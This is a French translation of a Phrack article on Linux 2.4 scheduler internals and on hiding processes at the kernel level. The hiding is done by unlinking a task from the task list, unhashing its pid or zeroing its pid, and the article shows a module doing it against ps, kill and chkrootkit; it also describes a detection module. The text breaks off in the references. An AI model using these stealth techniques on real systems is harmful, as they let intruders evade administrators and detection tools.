==Phrack Inc.== Volume 0x0b, Issue 0x3f, Phile #0x12 of 0x14 |=-----------------------=[ cacher les processus ]=----------------------=| |=---------=[ ( comprendre le gestionnaire de tâche de linux ) ]=--------=| |=-----------------------------------------------------------------------=| |=-------------=[ Par ubra du groupe PHI, 17 Octobre 2004 ]=-------------=| |=-----=[ mail://ubra_phi.group.za.org http://w3.phi.group.za.org ]=----=| |=------------=[ Traduit par TboWan pour arsouyes.org ]=-----------------=| --[ Sommaire 1 - looking back 2 - the schedule(r) inside 3 - abusing the silence ( attacking ) 4 - can you scream ? ( countering ) 5 - references 6 - and the game dont stop.. 7 - sources --[ 1 - looking back Nous commencons notre voyage il y a bien longtemps, quand donner un nom bizarre à un processus était suffisent pour le cacher dans l'arbre. Malheureusement, c'est encore assez efficace de nos jours du au manque de compétence des admins sur le marché. Dans le dernier milénium ... en fait, juste avant 1999, backdoorer les binaires était très populaire (ps, top, pstree et autres [1]) mais c'était très facile à apercevoir, un facile `ls -l` / bien que certein ne puisse l'être qu'en récupérant une combinaison de taille et de checksum / (je parle en considérant les admins compétents, parce que, de mon point de vue, un admin qui n'est pas un peu hacker est juste le type qui éponge le clavier). Et c'ést un casse-couille question compatibilité. Le LRK (linux root kit) [2] est un bon exemple d'un kit "binaire". Il n'y a pas si longtemps, les hackers ont commencé à se tourner vers le noyau pour faire leur trucs ou pour le sécuriser. Donc, comme partour, c'était un processus incrémental, commencant par les niveaux les plus haut et ensuite de plus en plus vers l'intérieur des structures du noyau. L'endroit évident où regarder d'abord était les appels systèmes, le point d'entrée depuis le monde utilisateur vers le monde merveilleux, et donc les méthodes de détournement développées, le faisant en altérant la sys_call_table[] (il y a un article sur LKM_HACKING de pragmatic de THC à ce propos [3]), ou en placant un saut dans le corps de la fonction vers notre propre code (développée par Silvio Cesare [4]) ou encore en les attrapant au niveau des interruptions (un peu de lecture sur le sujet dans [5]) ... et avec ceci, on peut intercepter certains appels systèmes intéressants. Mais les syscalls [NDT : system calls - appels systèmes] ne sont pas les derniers (premiers) points où la structure pid est assemblée. getdents() et Co. ne font qu'appeler d'autres fonctions, et ils le font avec les moyens d'un autre niveau, à traver ce qu'on appelle VFS. Hacker ce VFS (niveau du "Virtual FileSystem") est la nouvelle voie des kits actuels; et puisque tous les unixes sont essentiellement composés des mêmes couches logiques, c'est (c'était) très portable. Donc, comme vous le voyez, nous construisons à partir des hauts niveaux, en parlant de programmation, vers les bas niveaux; en backdoorant simplement les sources de nos ennuis en allant encore plus près de la racine, vers les syscalls (et les fonctions qui sont les "aides des syscalls"). Le VFS n'est pas tout à fait aussi bas qu'on puisse aller (héhé, nous, les hackers, aimons nous rouler dans la boue du noyau). Nous devons encore explorer la dernière frontière (honnètement parlant, toute nouvelle frontière est la dernière). Wep, les vraies structures qui aident à créer la liste des pids - la task_structs. Et c'est là que notre voyage commence. Quelques notes ... Les études du noyau sont de la branche 2.4 (2.4.18 pour les extraits du source et 2.4.30 pour les patches et les exemples de code), il y a quelques codes spécifiques au x86 (désolé, je n'ai pas accès à d'autres architectures), SMP n'est pas discuté pour les mêmes raisons et de toutes façons, les différences ave les machines UP devraient être claires à la fin. /* Il semble que les méthodes que j'explique ici commencent à émerger en partie dans l'underground ouvert dans le zero rk fait par stealth de la team teso, il y a un article là dessus dans le phrack 61 [6], j'ai juste failli oublier le petit REMOVE_LINKS qui était là tout innocement :-) */ --[ 2 - à l'intérieur du gestionnaire Comme les processus donnent naissance à d'autres processus (juste comme dans la vie réelle), ils appellent les syscalls execve() ou fork() pour soit être remplacés ou être divisé en deux différents processus, peu de choses ont lieu. Nous allons regarder le fork car il est plus intéressant de notre point de vue. $ grep -rn sys_fork src/linux/ Pour les architectures i386 qui est celle que j'ai, vous allez voire sans introduction que cette fonction appelle do_fork() où le travail dépendant de l'architecture est fait. C'est dans kernel/fork.c. asmlinkage int sys_fork(struct pt_regs regs) { return do_fork(SIGCHLD, regs.esp, ®s, 0); } À part des grandes choses qui ne sont pas couvertes ici, do_fork() alloue de la mémoire pour un nouveau task_struct int do_fork(unsigned long clone_flags, unsigned long stack_start, struct pt_regs *regs, unsigned long stack_size) { ....... struct task_struct *p; ....... p = alloc_task_struct(); et fait quelques bidouille dessus comme initialiser la run_list, INIT_LIST_HEAD(&p->run_list); qui est essentiellement un pointeur (vous devriez lire un peu sur la l'implémentation de la liste chainée de linux pour la saisir clairement [7]) qui va être utilisée dans une liste chainée de tous les processus attendant pour le cpu et ceux expirés (qui n'ont plus le cpu, sans l'avoir relaché expressément du point de vue de schedule()), utilisé dans la fonction schedule(). Le tableau de priorité courant de la file de tâche où nous sommes p->array = NULL; (bien, nous sommes dans aucune); le tableau de priorité et la file d'exécution sont utilisés dans la fonction schedule() pour organiser les tâches qui fonctionnent et ont besoin d'être exécutée. typedef struct runqueue runqueue_t; struct prio_array { int nr_active; spinlock_t *lock; runqueue_t *rq; unsigned long bitmap[BITMAP_SIZE]; list_t queue[MAX_PRIO]; }; /* * This is the main, per-CPU runqueue data structure. * * Locking rule: those places that want to lock multiple runqueues * (such as the load balancing or the process migration code), lock * acquire operations must be ordered by ascending &runqueue. */ struct runqueue { spinlock_t lock; unsigned long nr_running, nr_switches, expired_timestamp; task_t *curr, *idle; prio_array_t *active, *expired, arrays[2]; int prev_nr_running[NR_CPUS]; } ____cacheline_aligned; static struct runqueue runqueues[NR_CPUS] __cacheline_aligned; Nous en reparlerons plus dans la suite. Le temps cpu que ce fils va recevoir; la moitié du temps du parent va au fils (le temps cpu est le temps pendant lequel la tâche va avoir droit au processeur). p->time_slice = (current->time_slice + 1) >> 1; current->time_slice >>= 1; if (!current->time_slice) { /* * This case is rare, it happens when the parent has only * a single jiffy left from its timeslice. Taking the * runqueue lock is not a problem. */ current->time_slice = 1; scheduler_tick(0,0); } (pour les néophites, ">> 1" est le même que "/ 2) Ensuite, nous obtenons le verroux de la tasklist pour écrire et placer le nouveau processus dans la liste chainée et la liste pidhash write_lock_irq(&tasklist_lock); ....... SET_LINKS(p); hash_pid(p); nr_threads++; write_unlock_irq(&tasklist_lock); et relachons le verroux. include/linux/sched.h contient cette macro et les fonctions inline, et la structure task_struct aussi : struct task_struct { ....... task_t *next_task, *prev_task; ....... task_t *pidhash_next; task_t **pidhash_pprev; #define PIDHASH_SZ (4096 >> 2) extern task_t *pidhash[PIDHASH_SZ]; #define pid_hashfn(x) ((((x) >> 8) ^ (x)) & (PIDHASH_SZ - 1)) static inline void hash_pid(task_t *p) { task_t **htable = &pidhash[pid_hashfn(p->pid)]; if((p->pidhash_next = *htable) != NULL) (*htable)->pidhash_pprev = &p->pidhash_next; *htable = p; p->pidhash_pprev = htable; } #define SET_LINKS(p) do { \ (p)->next_task = &init_task; \ (p)->prev_task = init_task.prev_task; \ init_task.prev_task->next_task = (p); \ init_task.prev_task = (p); \ (p)->p_ysptr = NULL; \ if (((p)->p_osptr = (p)->p_pptr->p_cptr) != NULL) \ (p)->p_osptr->p_ysptr = p; \ (p)->p_pptr->p_cptr = p; \ } while (0) Donc, pidhash est un tableau de pointeurs vers task_structs qui renvoie vers le même pid, et sont chainé avec pidhash_next/pidhash_pprev; cette liste est utilisée par les syscalls qui prennent le pid en paramtètre, comme kill() ou ptrace(). La liste chainée est utilisée par le VFS /proc mais pas seulement. Enfin, la magie : #define RUN_CHILD_FIRST 1 #if RUN_CHILD_FIRST wake_up_forked_process(p); /* do this last */ #else wake_up_process(p); /* do this last */ #endif C'est une fonction dans kernel/sched.c qui place la task_t (task_t est un typedef vers la struct task_struct) dans la file d'exécution. void wake_up_forked_process(task_t * p) { ....... p->state = TASK_RUNNING; ....... activate_task(p, rq); Regardons les choses via un processus qui, une fois qu'il a récupéré le cpu, appelle sys_nanosleep() (sleep() n'est qu'une interface) et saute vers une boucle sans fin, je vais essayer de faire court. Après avoir mis l'état de la tâche à TAS_INTERRUPTIBLE (pour être sur que nous quittions la file d'exécution quand schedule() est appelé), sys_nanosleep() appelle, parmis d'autres fonctions, schedule_timeout() qui nous place dans une file d'attente avec add_timer() qui garantis que nous soyons réveillés (que nous revenions vers la file d'exécution) après que le délait soit expiré et rendu effectivement le cpu en apellant schedule() (la plupart des syscalls bloquants l'implémente en endormant le processus jusqu'à ce que la ressource soit disponible). asmlinkage long sys_nanosleep(struct timespec *rqtp, struct timespec *rmtp) { ....... current->state = TASK_INTERRUPTIBLE; expire = schedule_timeout(expire); signed long schedule_timeout(signed long timeout) { struct timer_list timer; ....... init_timer(&timer); timer.expires = expire; timer.data = (unsigned long) current; timer.function = process_timeout; add_timer(&timer); schedule(); Si vous voulez lire plus de choses sur les timers, allez regarder [7]. Ensuite, schedule() nous enlève de la file d'exécution puisque nous nous sommes déjà arrangé pour y revenir plus tard via les timers. asmlinkage void schedule(void) { ....... deactivate_task(prev, rq); (souvenez vous que wake_up_forked_process() appelle activate_task() pour nous placer dans la file d'exécution active). S'il n'y a pas de tâche dans la file active, il essaye d'en récupérer un dans la le tableau des expirés comme il en a besoin pour installer une nouvelle tâche à exécuter. if (unlikely(!array->nr_active)) { /* * Switch the active and expired arrays. */ ....... Ensuite, trouve le premier processus et le prépare pour switcher (s'il n'en trouve aucun, il laisse simplement la tâche courante fonctionner). context_switch(prev, next); C'est une fonction inline qui prépare pour le switch qui sera effectué dans __switch_to() (switch_yo est juste une autre fonction inline) static inline void context_switch(task_t *prev, task_t *next) #define prepare_to_switch() do { } while(0) #define switch_to(prev,next,last) do { \ asm volatile("pushl %%esi\n\t" \ "pushl %%edi\n\t" \ "pushl %%ebp\n\t" \ "movl %%esp,%0\n\t" /* save ESP */ \ "movl %3,%%esp\n\t" /* restore ESP */ \ "movl $1f,%1\n\t" /* save EIP */ \ "pushl %4\n\t" /* restore EIP */ \ "jmp __switch_to\n" \ "1:\t" \ "popl %%ebp\n\t" \ "popl %%edi\n\t" \ "popl %%esi\n\t" \ :"=m" (prev->thread.esp),"=m" (prev->thread.eip), \ "=b" (last) \ :"m" (next->thread.esp),"m" (next->thread.eip), \ "a" (prev), "d" (next), \ "b" (prev)); \ } while (0) Notez le "jmp __switch_to" dans tout ce code assembleur qui arrange simplement les paramètres sur la pile. void __switch_to(struct task_struct *prev_p, struct task_struct *next_p) { context_swith() et switch_to() font ce qu'on connait comme "changement de contexte" [NDT : context switch] (d'où leur nom) qui, en peu de mots, donne le contrôle du processeur et de la mémoire à un autre processus. Passons à autre chose ; que se passe-t-il quand nous sautons dans la boucle sans fin ? Bien, ce n'est pas vraiment une boucle sans fin, si c'était vraiment le cas, votre ordinateur ne ferait qu'attendre. Ce qu'il se passe vraiment, c'est que votre tâche se voit retirer le contrôle du cpu à chaque tour de boucle et le retrouve après qu'une autre tâche ai eu le temps de l'utiliser (il y a des méchanismes de file d'attente qui permettent aux tâches de partager le cpu en fonction de leur priorité, si notre tâche avait une priorité de temps réel, elle devrait relacher le cpu manuellement par sched_yeld()). Donc, comment est-ce fait exactement; parlons un peu de l'intterruption du timer car ils sont étroitement liés. Passons à autre chose ; que se passe-t-il quand nous sautons dans la boucle sans fin ? Bien, ce n'est pas vraiment une boucle sans fin, si c'était vraiment le cas, votre ordinateur ne ferait que passer son temps à ça. Ce qu'il se passe vraiment, c'est que votre tâche se voit retirer le contrôle du cpu régulièrement et le retrouve après qu'une autre tâche ai eu le temps de l'utiliser (il y a des méchanismes de file d'attente qui permettent aux tâches de partager le cpu en fonction de leur priorité, si notre tâche avait une priorité de temps réel, elle devrait relacher le cpu manuellement par sched_yeld()). Donc, comment est-ce fait exactement; parlons un peu de l'intterruption du timer car ils sont étroitement liés. C'est une fonction comme d'autres dans le noyau linux, et elle est décrite dans une structure static struct irqaction irq0 = { timer_interrupt, SA_INTERRUPT, 0, "timer", NULL, NULL}; and setup in time_init. void __init time_init(void) { ....... #ifdef CONFIG_VISWS ....... setup_irq(CO_IRQ_TIMER, &irq0); #else setup_irq(0, &irq0); #endif Après ceci, à chaque click du timer, timer_interrupt() est appellé et à un certain point, appelle do_timer_interrupt() static void timer_interrupt(int irq, void *dev_id, struct pt_regs *regs) { ....... do_timer_interrupt(irq, NULL, regs); avec des appels sur do_timer (qu'on découvre ensemble). static inline void do_timer_interrupt(int irq, void *dev_id, struct pt_regs *regs) { ....... do_timer(regs); do_timer() fait deux choses, d'abord elle met à jours le temps du processus courant et ensuite, appelle schedule_tick() qui précède schedule() en prenant d'abord le processus courant du tableau des actifs et en le placant dans le tableau des expirés; c'est la place où les mauvais processus (le sale cochon [NDT : dirty hog] :-) se voient retirer le cpu. void do_timer(struct pt_regs *regs) { (*(unsigned long *)&jiffies)++; #ifndef CONFIG_SMP /* SMP process accounting uses the local APIC timer */ update_process_times(user_mode(regs)); #endif /* * Called from the timer interrupt handler to charge one tick to the * current process. user_tick is 1 if the tick is user time, 0 for system. */ void update_process_times(int user_tick) { ....... update_one_process(p, user_tick, system, cpu); scheduler_tick(user_tick, system); } /* * This function gets called by the timer code, with HZ frequency. * We call it with interrupts disabled. */ void scheduler_tick(int user_tick, int system) { ....... /* Task might have expired already, but not scheduled off yet */ if (p->array != rq->active) { p->need_resched = 1; return; } ....... if (!--p->time_slice) { dequeue_task(p, rq->active); p->need_resched = 1; ....... if (!TASK_INTERACTIVE(p) || EXPIRED_STARVING(rq)) { ....... enqueue_task(p, rq->expired); } else enqueue_task(p, rq->active); } Notez le champs "need_resched" de la task struct qui est mis à 1; maintenant, la tâche ksoftirqd() qui est un thread noyau va récupérer le processus et appeller schedule(). [root@absinth root]# ps aux | grep ksoftirqd root 3 0.0 0.0 0 0 ? SWN 11:45 0:00 [ksoftirqd_CPU0] __init int spawn_ksoftirqd(void) { ....... for (cpu = 0; cpu < smp_num_cpus; cpu++) { if (kernel_thread(ksoftirqd, (void *) (long) cpu, CLONE_FS | CLONE_FILES | CLONE_SIGNAL) < 0) printk("spawn_ksoftirqd() failed for cpu %d\n", cpu); ....... __initcall(spawn_ksoftirqd); static int ksoftirqd(void * __bind_cpu) { ....... for (;;) { ....... if (current->need_resched) schedule(); ....... Et si tout ceci vous semble époustouflant, ne vous en faites pas, refaite juste ce chemin à travers le source du noyau à partir du début et essayer de comprendre plus que je ne vous explique ici, personne ne vous demande de comprendre dès la première fois, un processus si compliqué que la gestion de tâches de linux... souvenez vous que le gateau se trouve dans les détails ;-) Vous pouvez lire plus d'informations sur le gestionnaire de tâches de linux dans [7], [8] et [9]. Chaque cpu a sa propre file d'exécution, donc, appliquez la même logique aux SMP. Donc, vous pouvez voir qu'un processus peut être dans un nombre quelconque de listes en attendant d'être exécuté, et s'il n'est pas dans la liste chainée de task_struct, nous avons un gros problème pour le retrouver. La liste chainée et de pidhash NE SONT PAS utilisées par schedule() pour exécuter notre programme comme on l'a vu, certains syscalls les utilisent (ptrace, alarm, les timers en général qui utilisent les signaux et tous les appels qui utilisent le pid - pour la liste pidhash). Une autre note pour le lecteur ... tous les exemples de la section _attaque_ seront des modules anemiques, pas de dev/kmem pou vous car je ne veux pas que mon travail se retrouve dasn un rootkit de lamer qui ne contribuera qu'à ruiner le réseau, bien que l'homologue de kmem ait été développé et testé, et fonctionne pas mal, et aussi, avec des modules, nous sommes plus portables, et notre but est de présenter des exemples qui fonctionnent et vous enseignent sans crasher votre noyau; les sections homologues ne contiendront pas de programmes avec kmem d'activé simplement par flemme et de pas avoir envie de perdre mon temps avec la relocation elf (yup pour chainer la liste d'une façon fiable, nous devons aller dans le noyau avec le code)... Je fournirai un patch noyau pour ceux qui ne font pas de modules. Vous devriez savoir que si un module vous renvoie une erreur du style : "hp.o: init_module: Device or resource busy Hint: insmod errors can be caused by incorrect module parameters, including invalid IO or IRQ parameters You may find more information in syslog or the output from dmesg" quand on l'insère, c'est une fonctionnalité (heh) pour que vous n'ayez pas à le rmod'er, les modulent font le travail qu'ils sont supposés faire. --[ 3 - abuser le silence (attquer) Si vous n'avez pas le QI d'un admin windoz, il devrait être assez clair pour vous vers où on va aller avec tout ceci. Oh, je suis désolé, je voulais dire "Amin (TM) Windows (TM)" mais l'insulte reste valable. Puisque la liste chainée et pidhash ne sont d'aucune utilité au gestionnaire de tâches, un programme, une tâche en général (et aussi les thread noyau) peut s'exécuter gentillement sans elles. Donc, nous le retirons de ces listes avec REMOVE_LINKS/unhash_pid et si vous avez été un gentil hacker qui a regardé les sources que j'ai donné, vous savez ce que ces deux fonctions font. Tout ce qui va être génant avec ceci, sont les méthodes IPC (Inter Process Communication); heh bien, nous sommes invisibles, pourquoi devrions répondre si quelqu'un demande "il y a quelqu'un ?" :) cependant, puisque seul la liste chainée est utilisée dans ps et Co. nous pourions laisser la pidhash tel quelle pour que kill/ptrace/timers... fonctionnent comme d'habitude. Mais je ne vois pas pourquoi on en aurait besoin car alors, un simple bruteforce dans l'espace des pid avec des kill(pid,0) peut vous découvrir... Regardez le programme pisu que j'ai fait que fait celà avec 76 syscalls en plus de kill qui aspire les info du pid à partir des deux structures de listes. Vous voyez le tableau, ok ? ho.c est un simple module pour cacher une tâche : [root@absinth ksched]# gcc -c -I/$LINUXSRC/include src/hp.c -o src/hp.o [Méthode 1] Maintenant, voyons ce qu'il se passe quand nous retirons un processus d'une liste; en commencant par la liste chainée [root@absinth ksched]# ps aux | grep sleep root 1129 0.0 0.5 1848 672 pts/4 S 22:00 0:00 sleep 666 root 1131 0.0 0.4 1700 600 pts/2 R 22:00 0:00 grep sleep [root@absinth ksched]# insmod hp.o pid=`pidof sleep` method=1 hp.o: init_module: Device or resource busy Hint: insmod errors can be caused by incorrect module parameters, including invalid IO or IRQ parameters You may find more information in syslog or the output from dmesg [root@absinth ksched]# tail -2 /var/log/messages Mar 13 22:02:50 absinth kernel: [HP] address of task struct for pid 1129 is 0xc0f44000 Mar 13 22:02:50 absinth kernel: [HP] removing process links [root@absinth ksched]# ps aux | grep sleep root 1140 0.0 0.4 1700 608 pts/2 S 22:03 0:00 grep sleep [root@absinth ksched]# insmod hp.o task=0xc0f44000 method=1 hp.o: init_module: Device or resource busy Hint: insmod errors can be caused by incorrect module parameters, including invalid IO or IRQ parameters You may find more information in syslog or the output from dmesg [root@absinth ksched]# tail -1 /var/log/messages Mar 13 22:03:53 absinth kernel: [HP] unhideing task at addr 0xc0f44000 Mar 13 22:03:53 absinth kernel: [HP] setting process links [root@absinth ksched]# ps aux | grep sleep root 1129 0.0 0.5 1848 672 pts/4 S 22:00 0:00 sleep 666 root 1143 0.0 0.4 1700 608 pts/2 S 22:04 0:00 grep sleep [root@absinth ksched]# [Méthode 2] (en fait, un ajout avancé à la méthode 1) Et de une. Maintenant, la liste de hash. [root@absinth ksched]# insmod hp.o pid=`pidof sleep` method=2 hp.o: init_module: Device or resource busy Hint: insmod errors can be caused by incorrect module parameters, including invalid IO or IRQ parameters You may find more information in syslog or the output from dmesg [root@absinth ksched]# tail -2 /var/log/messages Mar 13 22:07:04 absinth kernel: [HP] address of task struct for pid 1129 is 0xc0f44000 Mar 13 22:07:04 absinth kernel: [HP] unhashing pid [root@absinth ksched]# insmod hp.o task=0xc0f44000 method=2 hp.o: init_module: Device or resource busy Hint: insmod errors can be caused by incorrect module parameters, including invalid IO or IRQ parameters You may find more information in syslog or the output from dmesg [root@absinth ksched]# tail -1 /var/log/messages Mar 13 22:07:18 absinth kernel: [HP] unhideing task at addr 0xc0f44000 Mar 13 22:07:18 absinth kernel: [HP] hashing pid [root@absinth ksched]# kill -9 1129 [root@absinth ksched]# Donc, une fois retiré de la liste de hash, le processus devient aussi invulnérable au signaux kill et autres syscalls qui utilisent la liste hash dans ce sujet. Ceci cache aussi votre tâche vis à vis des méthodes de découvertes comme kill(pid,0) que chkrootkit [10] utilise. * Les méthodes 1 et 2 ne sont pas si bonnes pour cacher les shells car la pluspart ont des contrôles de job intégrés et ça nécessite des find_task_by_pid() et for_each_task() qui fonctionnent (regardez les sources de sys_setpgid()), cependant, si vous savez comment le désactiver, ça marche très bien :P ok, je vais vous donner un truc, faites que les entées/sorties standart ne soit pas un terminal. [Méthode 3] But this is kids stuff; lets abuse the way the function that generates the pid list for the /proc VFS works. static int get_pid_list(int index, unsigned int *pids) { ....... for_each_task(p) { ....... if (!pid) continue; Avez vous le not ? :-) pourtant c'est facile, il faut juste que notre pid soit 0 et nous ne seront pas listés (le pid 0 est une race spéciale noyau et c'est pour ça qu'on est pas listé par ici - en fait, le noyau lui-même, la première "tâche" et ses enfants clonés comme le swapper); en plus, vu qu'on chnge le pid, mais sans rehasher sa position dans la liste de hash, toutes les recherches pour le pid 0 aboutirons au mauvais hash, et les recherches vers notre ancien pid retrouveront une tâche de pid 0, et bien, ça ratera à chaque fois. Un effet intéressant d'avoir le pid 0 est qu'on peut utiliser clone() [11] avec un flag de CLONE_PID, engendre effectivement des enfants cachés aussi; c'est pas un menace ? Le vieux pid peut être retrouvé via le champ tgid de la task_struct tel que le fait getpid(), et en plus, cette méthode est si sûre à faire depuis l'espace utilisateur puisque nous ne nous embetons pas avec des race condition qui baiseront le pointeur de liste de tâches. Et bien, sûr tant que votre processus ne termine pas puisque nous n'avont changé que son pid. asmlinkage long sys_getpid(void) { /* This is SMP safe - current->pid doesn't change */ return current->tgid; } À Propos si nous ne changeons que le pid vers 0, il n'y aura pas de danger qu'un autre processus soit assigné le même pid que nous _avions_ puisque dans get_pid(), il y a des vérifications sur le tgid aussi, que nous avions laissé intouché et que nous utilisons pour restaurer le pid (allez juste regarder le source de hp.c) [root@absinth ksched]# ps aux | grep sleep root 1991 0.2 0.5 1848 672 pts/7 S 19:13 0:00 sleep 666 root 1993 0.0 0.4 1700 608 pts/6 S 19:13 0:00 grep sleep [root@absinth ksched]# insmod hp.o pid=`pidof sleep` method=4 hp.o: init_module: Device or resource busy Hint: insmod errors can be caused by incorrect module parameters, including invalid IO or IRQ parameters You may find more information in syslog or the output from dmesg [root@absinth ksched]# tail -2 /var/log/messages Mar 16 19:14:07 absinth kernel: [HP] address of task struct for pid 1991 is 0xc30f0000 Mar 16 19:14:07 absinth kernel: [HP] zerofing pid [root@absinth ksched]# ps aux | grep sleep root 1999 0.0 0.4 1700 600 pts/6 R 19:14 0:00 grep sleep [root@absinth ksched]# kill -9 1991 bash: kill: (1991) - No such process [root@absinth ksched]# insmod hp.o task=0xc30f0000 method=4 hp.o: init_module: Device or resource busy Hint: insmod errors can be caused by incorrect module parameters, including invalid IO or IRQ parameters You may find more information in syslog or the output from dmesg [root@absinth ksched]# tail -1 /var/log/messages Mar 16 19:14:47 absinth kernel: [HP] unhideing task at addr 0xc0f44000 Mar 16 19:14:47 absinth kernel: [HP] reverting zero pid to 1991 [root@absinth ksched]# ps aux | grep sleep root 1991 0.0 0.5 1848 672 pts/7 S 19:13 0:00 sleep 666 [root@absinth ksched]# Vous voyez comme c'est cool ? Je devrais dire que tout cet article est sur la manière de mettre à 0 le pid dans la task_struct :-) (et vous n'avez qu'à peu près deux octets à changer au plus pour cacher un processus !) * Votre tâche ne devrait jamais appeller exit quand elle a un pid de 0 sinon, ça va merder avec do_exit qui est appellé par sys_exit. NORET_TYPE void do_exit(long code) { ....... if (!tsk->pid) panic("Attempted to kill the idle task!"); Donc, si vous cachez votre shell de cette manière, soyez sûr de le décacher (mettez son pid à une valeur arbitraire) avant que nous ne fassiez "exit"... ou alors ne me demandez rien et terminez le système en entier ;-). Dans un environnement corrompus, do_exit pourrait avoir cette partie particulière écrasée par des nops (l'instruction "no operation" - un code asm qui ne fait rien du tout). Vous pouvez utiliser pour le champs de la méthode quand vous insmodez ho.o, n'importe quelle combinaison des trois bits de flags présentés. --[ 4 - pouvez-vous crier ? ( contrer ) Devriez-vous crier ? et bien oui. Détecter la première méthode peut être un jeux de patience ou au mieux, un cache-cache casse couille dans toutes les listes d'attentes dans le noyau, tout en maintenant un gros verroux. Mais non, il n'est pas imposible de trouver un processus caché, même s'il il peut faire tourner un rootkit qui peut enlever le cpu et faire une recherche binaire dans kmem. Ça peut être fait en brute forcant certains nombres magiques dans la task_struct dans la zone mémoire qu'on peut avoir alloué et regarder si elle est valide en testant sa structure demémoire virtuelle, mais ça peut potentiellement ne pas être fiable (et... dur). Trouver une tâche qui est cacher de cette façon est difficile car aucune autre structure ne contient de liste de tâche pour que nous puissions, avec une simple recherche, itérer et voir ce qui n'est pas dans la liste chainée et la pidhach, et s'il y en avait eu une, nous aurions surement retiré notre tâche de la bas aussi :p. Si vous pensez mainenant que c'est l'Ultime Kiddie Method, n'espérez pas plus, nous sommes des gens biens, pour chaque problème, nous publions aussi le remède. Donc, il y a une ... façon :)... une manière intelligente d'exploiter ce que tous les processus désirent, le besoin de fonctionner ;-) *sourire diabolique* Cette méthode peut cependant prendre un moment, si un processus est bloqué sur un appel comme listen(), puisqu'on ne peut les attraper que quand ils _fonctionnent_ pendant qu'ils sont _cachés_. D'autres vérifications pourraient vérifier l'intégriter le la liste chainée comme l'ordre dansla liste et le time stamps, ou autre chose (sachant que ptrace() [12] merde avec cet ordre). Backdoorer switch_to (plus exactement __switch_to, souvenez-vous que le premier est une macro) est un peut plus bidouillant qu'un module, cependant, je l'ai fait mais ça ne semble pas très portable donc, à la place, depuis un module, nous détournons la porte des syscalls, exploitant donc le *besoin d'appeller* des programmes :-), ce qui est très facile, et chaque programme, dans le but de fonctionner facilement a besoin de certains syscalls, ok ? Mais comme vous le savez, pour pieger schedule() à partir d'un module (ou depuis kmam d'ailleur) nous trouvons l'adresse de __switch_to(). On peut le faire de deux manières, soit en faisant un pattern-matching pour des appels dans schedule() ou remarqons que sys_fork() se trouve juste après __switch_to() et fait un peut de math. Après, on insère juste un détournement à la fin de __switch_to() (juste avant que __switch_to n'exécute notre code dans un environnement non sû - crach- puisque c'est un environnement partiellement switché). C'est donc ce que le module fait, le patch noyau, sh.patch utilise le besoin mentionné d'exécution d'un processus en insérant un appell dans la fonction schedule() qui a été décrite plus haut et vérifie les structures vis à vis du processus courant. Comment gérons nous les _réelles_ tâches au pid 0, que nous ne les prenions pas pour des coquines ? Souvenez-vous que j'ai dis à propos des pid 0 qu'ils sont des [special breed], ce sont des thread noyau dans le fond donc nous pouvons les différencier des processus en mode utilisateur normaux parce qu'ils n'ont pas de structure de mémoire allouée / pas de mémoire userland dooh ! / et aucune structure binaire connecté pour ça (un cas spécial serait quand quelqu'un voudrait cacher sa méchante tâche comme un thread noyau découpé, mais je pense qu'on pourrait le retrouver par nom ou par le nombre de thread noyaux actifs si c'est un méchant). De toutes façons, pour un exemple avec la méthode du "besoin d'appeller" ... Pour celui-ci, nous avons lancé une session bash pour que nous puissions _le mettre dans la file d'attente_ en y tapant une commande ... comme je l'ai dit, on ne découvre ces tâches que quand elle font un syscall. [root@absinth ksched]# gcc -c -I/$LINUXSRC/include src/sht.c -o src/sht.o [root@absinth ksched]# insmod sht.o [root@absinth ksched]# insmod hp.o pid=`pidof hidden_bash` method=1 hp.o: init_module: Device or resource busy Hint: insmod errors can be caused by incorrect module parameters, including invalid IO or IRQ parameters You may find more information in syslog or the output from dmesg ( now we type some command in the hidden bash session to make it run ) [root@absinth root]# tail /var/log/messages ....... Jul 8 19:43:26 absinth kernel: [SHT] task pid 562 task addr 0xc72f0000 syscall 175 - TASK IS HIDDEN ( NOT ON LINKED LIST / on pidhash list / pid is valid ) Jul 8 19:43:26 absinth kernel: [SHT] task pid 562 task addr 0xc72f0000 syscall 3 - TASK IS HIDDEN ( NOT ON LINKED LIST / on pidhash list / pid is valid ) [root@absinth ksched]# rmmod sht Voila [NDT : en français dans le texte]. Ça fonctionne... il regarde aussi après les déhashés et les tâches au pid 0; le seul problème pour l'instant est la grosse sortie que je vais trier avec des listes hashées par l'adresse/pid/processeur/start_time de la tâche pour que nous n'ayons qu'un warning par processus caché :-/ Pour utiliser le patch noyau au lieu du module, allez à la racine du source de linux et appliquez-le avec `patch -p0 < sh.patch` (si vous avez un schéma du genre /usr/src/linux/, allez dans /usr/src/). Le patch est pour la branche du 2.4.30 (bien qu'il puisse fonctionner avec d'autres noyaux 2.4; si vous en avez besoin pour d'autres versions du noyau, venez m'en parler) et il fonctionne juste comme le module puisqu'il détourne directement dans la fonction schedule() et donc découvre plus tôt les tâches cachées. Maintenant, si certains d'entr vous se demande pour l'instant pourquoi rendre public des recherches tels que celles-ci quand il est plus probable qu'elles soient abusée, ma réponse est simple, ne soyez pas un ignorant, si j'ai trouvé la pluspart des choses-ci moi-même, je n'ai aucune raison de penser que d'autres ne l'ont pas fait et il est plus probable que ces méthodes sont déjà utilisées, peut être pas si largement que ça, mais manquant de bons outils pour fouiller la mémoire du noyau, nous ne saurions jamais si et comment c'est déjà utilisé. Donc, fermez votre sale gueule les seules personnes pénalisée par ceci sont des hackers underground, mais encore une vois, ce sont des gens brillants et d'autres méthodes encore plus leet sont à venir :-) réfléchissez-juste comment cacher une tâche à l'intérieur d'une autre tâche (tais-toi ubra !! lol sans regarder) ... vous pourrez surement lire ce genre de choses dans un autre petit article. --[ 5 - références [1] pages de mans de ps(1) , top(1) , pstree(1) et l'interface proc(5) http://linux.com.hk/PenguinWeb/manpage.jsp?section=1&name=ps http://linux.com.hk/PenguinWeb/manpage.jsp?section=1&name=top http://linux.com.hk/PenguinWeb/manpage.jsp?section=1&name=pstree http://linux.com.hk/PenguinWeb/manpage.jsp?section=5&name=proc [2] LRK - Linux Root Kit par Lord Somer http://packetstormsecurity.org/UNIX/penetration/rootkits/lrk5.src.tar.gz [3] LKM HACKING par pragmatic de THC http://reactor-core.org/linux-kernel-hacking.html [4] Syscall redirection without modifying the syscall table par Silvio Cesare http://www.big.net.au/~silvio/stealth-syscall.txt http://spitzner.org/winwoes/mtx/articles/syscall.htm [5] Phrack 59/0x04 - Handling the Interrupt Descriptor Table par kad http://www.phrack.org/show.php?p=59&a=4 [6] Phrack 61/0x0e - Kernel Rootkit Experiences par stealth 